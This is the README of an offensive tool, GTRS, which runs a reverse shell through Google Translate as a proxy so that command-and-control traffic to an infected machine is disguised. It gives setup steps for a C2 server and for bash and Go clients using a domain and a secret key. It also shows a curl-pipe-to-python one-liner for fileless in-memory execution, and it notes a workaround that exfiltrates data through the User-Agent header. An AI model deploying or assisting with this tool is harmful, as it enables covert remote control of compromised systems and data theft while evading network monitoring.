GTRS

GTRS - Google Translator Reverse Shell

This tools uses Google Translator as a proxy to send arbitrary commands to an infected machine.

[INFECTED MACHINE] ==HTTPS==> [GOOGLE TRANSLATE] ==HTTP==> [C2] 

Environment Configuration

First you need a VPS and a domain, for the domain you can get a free one on Freenom.

Server

Start the server.py on your VPS

python2.7 server.py
Server running on port: 80
Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062

It will provide you secret key which will be used on the client.

Client bash

Run the client on a computer with access to Google Translator, providing domain and the secret key generated by the server.

bash client.sh www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062

Now you have an interactive shell using named pipe files, YES you can cd into directories.

Client Go

You first need to download the binary or compile it, then the process is equal of the bash client,

./client_Linux www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062

With this client you have the ability to run it on Linux, Mac and Windows, but the client do not have a interactive shell yet.

ELF in-memory execution (Linux Only)

After reading this blogpost, I made a simple adaption to execute the GTRS in memory, just edit the host and key in the script inmemory-linux.py, then host it on a server an curl it.

curl https://yourserver.ml/inmemory-linux.py | python

Or you can host the script using the youtube approach.

Poc

Known issues

• Google translate does not forward POST data, so there's a limit on the amount of data that your server can receive, for example, you'll probably not being able to read a big file like .bashrc. Problem fixed using User-Agent header to sent data.
• The client script works on Mac an Linux, but on Linux you need to install the xmllint which is on libxml2-utils `Problem fixed, now the client is write also in go.
• It's not a problem, but I just don't know if there's a rate limit on Google Translator